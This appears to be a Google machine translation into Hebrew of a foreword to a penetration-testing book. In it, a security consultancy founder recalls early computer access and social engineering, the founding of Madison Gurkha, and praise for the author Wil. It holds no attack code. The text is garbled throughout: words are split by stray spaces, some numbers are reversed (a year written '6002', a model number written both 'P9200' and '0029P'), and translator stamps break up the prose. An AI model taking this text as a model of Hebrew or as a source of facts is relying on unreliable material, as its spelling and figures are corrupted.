כמו כן ,תודה ל כ ל בוד ק ע ט ,הא קר ואוונג לי ס ט א ב ט חה שעמ לתי איתו לאורך ה שנים.
אתה ה ספר הזה.
Machine Translated by Google
קד מָ ה
הַ ָ
מאז ש באתי במגע רא שון עם מ ח ש בים ,הא ב ט חה )או חו סר ה בי ט חון אם תרצו( ש ל
המער כות המאוד חז קות ה ל לו סי קרנה אותי .כ שגרתי בהו לנד ,התמז ל מז לי לה שתמ ש
במער כת פי ליפ ס P9200ש ל האוני בר סי טה ה ט כנית איינדהו בן ע לידי חיוג א ליה
באמצעות מודם 300באוד כ ש למדתי בתי כון כדי ל למוד ת כנות -ALGOL 60.ב מ ח ש בים
אי שיים כמע ט ו לא היו קיימים אז .זמן ומער כות מ ח ש ב כמו זה עו לות הון ק טן .ה שימו ש
במודם כדי להת ח בר למער כת שתו כ ל לת כנת לפתור הר בה בעיות חי שו ביות כ בר היה
מ שהו ק סום ,א ב ל ה שגת גי שה למ כונה עצמה הפ כה למ סע חיפו ש.
מ כיוון שהוא היה ממו קם ב קמפו ס ש ל האוני בר סי טה ,זה לא היה כ ל כך בעייתי .באותה
ת קופה ,הא ב ט חה לא הייתה באמת בעיה גדו לה ,ו כ ל מה שצריך היה להי כנ ס למ קום
כמ לומד צעיר המ ב ק ש סיור במת קן.
שם למדתי שה 0029P-הוא ר ק "מיני מ ח ש ב ק טן" .הע ס קה האמיתית הייתה המיינפריים
ש ל Burroughs B7700.נדר שו קצת ח ט טנות כדי למצוא את מ ספר ה חיוג למער כת
ההיא ,והר בה ש כנועים כדי ל ק ב ל ח ש בון במער כת הזו ,א ב ל ב סופו ש ל ד בר הצ ל חתי.
לא פרצתי למער כת באותו זמן ,א ב ל הנד סה ח ברתית )הי כו לת ל ספר סיפור מ ספי ק
מ ש כנע כדי לז כות באמון ו/או מידע( התג לתה כת כונה בע לת ערך ר ב.
מהר קדימה ל שנת 2000.לא חר מ ספר תפ קידים ב ח ברות שונות ,ש ב סופו ש ל ד בר
הו בי לו לתפ קיד רא שי ב ק בוצה מהודרת בא חד ממר כזי המ ח ש בים הגדו לים בהו לנד ,שני
ח ברים ואני ה ח ל טנו שנ קים ע ס ק בעצמנו .בועת האינ טרנ ט פ שו ט התפוצצה ו ח ש בנו
שזה רעיון טו ב לה קים ח ברתייעוץ המתמ קדת בא ב ט חת מידע .למר בה המז ל ,תמיד
היה לנו האמונה" ,אם לא נצ לי ח ,אנ חנו צרי כים לפ חות להיות מ סוג לים לומר לעצמנו
שנהננו" .מע טידענו.
המ שימה הרא שונה הגיעה כ ש בי קרתי ב ס קנדינ ביה ונא לצתי לנ ס ח חוזה למ ב חן
ה חדירה הזה ב חדר ש ל מ לון שה ל כתי לידו תוך כדי שי חה עם ה ל קו ח הפו טנציא לי
וה שתמ שתי במ כ שיר הפ ק ס ש להם כדי ל ש לו ח אותו .אפי לו לא היה לנו שם למיזם הזה
ש לנו.
למרות שה בועה התפוצצה ו ח ברות אינ טרנ ט שונות נא לצו ל סגור את ה חנות ,המ ש כנו
ו ב חרנו ב סופו ש ל ד בר ב שם Madison Gurkhaמ כיוון ש לא מצאנו שם דומיין המ כי ל
מ שהו שהת קר ב ל שירות שני סינו ל ספ ק .היתרונות ש ל ה שם הא קזו טי הזה היו ר בים,
ה ח ל מהעו בדה שאתה צריך לאיית אותו לפ חות ש לו ש פעמים ) כדי שהוא באמתייצר ב
במו חם ש ל מי שנא לץ להתמודד איתנו( ,ועד להנ חה שאנ שים ע שו )ועדיין לע שות(
שהיינו קונג לומר ט בינ לאומי עם מ טה אי שם מ חוץ להו לנד.
באותה ת קופה לא היה לנו צורך במ ח ל קת מ כירות ו שיוו ק .הר שת האי שית ש לנו
התר ח בה ו לא היו הר בה ע ס קים ש סיפ קו את ה שירותים ש לנו ,אז המ לצות מי לו ליות
ה ביאו את ההזדמנויות לפת חנו .באותה ת קופה ע שינו ר ק הער כות פגיעות ש ליי שומי
אינ טרנ ט ות שתיות ICT,ו ח ל קן בד קנו כא שר ה ל קו חות ש לנו באמת התעניינו בה שפעה
ש ל הת קפות אמיתיות ע ל ס בי בות -ICTה ש להם .מ כיוון ש כמע ט ו לא היו כ לים זמינים,
היינו צרי כים ליצור את היתרונות ש לנו
Machine Translated by Google
ס קריפ טים כדי לה ק ל ע ל חיינו .לפעמים גם פור סמו ניצו לים באינ טרנ ט ) בעי קר ב ק בוצות
דיון( ,א ב ל היית צריך להר כי ב אותם בעצמך והם תמיד ה כי לו איזה פגם ,כך שי לדי ת סרי ט
שר ק הר כי בו את הד בר ,א ב ל לא ה בינו את ה בעיה בפוע ל ,לאי כ לו לה שתמ ש ב קוד )היית
צריך לע שות כמה שינויים ק לים כדי שתו כ ל לה שתמ ש בו( .בזמן כתי בת שורות א לה ,כ לים
כמו MetasploitוNessus -זמינים באופן נר ח ב ותו כניות ט לוויזיה פופו לריות כמו מר
רו בו ט מציגות את ה כ לים ה ל לו בע בודה.
א ב ל א ב ט חת -ITה מת קדמת .זה תמיד היה ,ו כנראה תמידיהיה ,איזון מעורער בין הת קפות
והגנות .ה כ לים הזמיניםי שתפרו ויהפ כו ל חז קיםיותר ו כ לים מת קדמיםיותריהפ כו לזמינים.
א ב ל ר ק בידיו ש ל מומ חה מ ש כי ל הםיו סיפו ערך אמיתי .אותו אדם לא ר ק מ בין את היתרונות
ש ל ה כ לים א לא גםיודע את מג ב לותיהם ו כיצד לפר ש את התוצאות.
ווי ל א ל סופ הוא מומ חה א חד כזה .התמז ל מז לי לע בוד עם ווי ל כ שהצ טרף למדי סון גור קה
ב .6002-באותה ת קופה היינו בני שנתיים והתר ח בנו מה ס טאר ט-אפ ש ל ש לו שה אנ שים
ל ח ברתייעוץ א ב ט חת ITהייעודית המ בו ס סת שאנ חנו היום Wil .עזר לנו לד חוף את ג בו לות
מע טפת בדי קות הא ב ט חה עודיותר וע שה זאת מאז .הוא תמיד חיפ ש נ קודות תורפה
חד שות ורוצה שתאגידים ומו סדותיהיו מודעים לאיומים הא חרונים .ספר זה מ כי ל דוגמאות
ר בות ערך לאותם איומים מת קדמים.
כא שר הארגון ש לך לא ר ק מ חפ ש ציון חיו בי בר שימת ה" ב ש לי טה" ,א לא באמת רוצה לדעת
אם הוא מ סוג ל לעמוד ב סוג ההת קפות המת קדמות מאוד שמתר ח שות כיום ב קנה מידה
עו למי ,כדאי שת קרא את ה ספר הזה .ודא שה ח ברה שאתה שו כר ל ביצוע הער כות א ב ט חת
ITי כו לה באמת ל בצע הת קפות כמו א לה .שו ב Wil ,מראה שמומ חה א ב ט חת ITאמיתי לא
ר קיודע לה שתמ ש ב כ לים זמינים ,א לא גם מ סוג ל ל ח שו ב מ חוץ ל קופ סה ו לפת ח הת קפות
נו ספות ומת קדמות בעת הצורך .סרי קות פגיעות רגי לות מועי לות כדי ל שמור ע ל הת שתית
ש לך ב קנה א חד; בדי קות חדירה בפוע ל באמצעות ט כני קות מת קדמות כמו א לו המתוארות
ב ספר זהי ספ קו לארגון ש לך את התו בנה הדרו שה לג בי האם אתה באמת שו ל ט בא ב ט חת
-ITה ש לך או עצמת את עיניך ל ס כנות האמיתיות ב חוץ תוך הו ספת סימון לר שימות ה בדי קה
ש לך.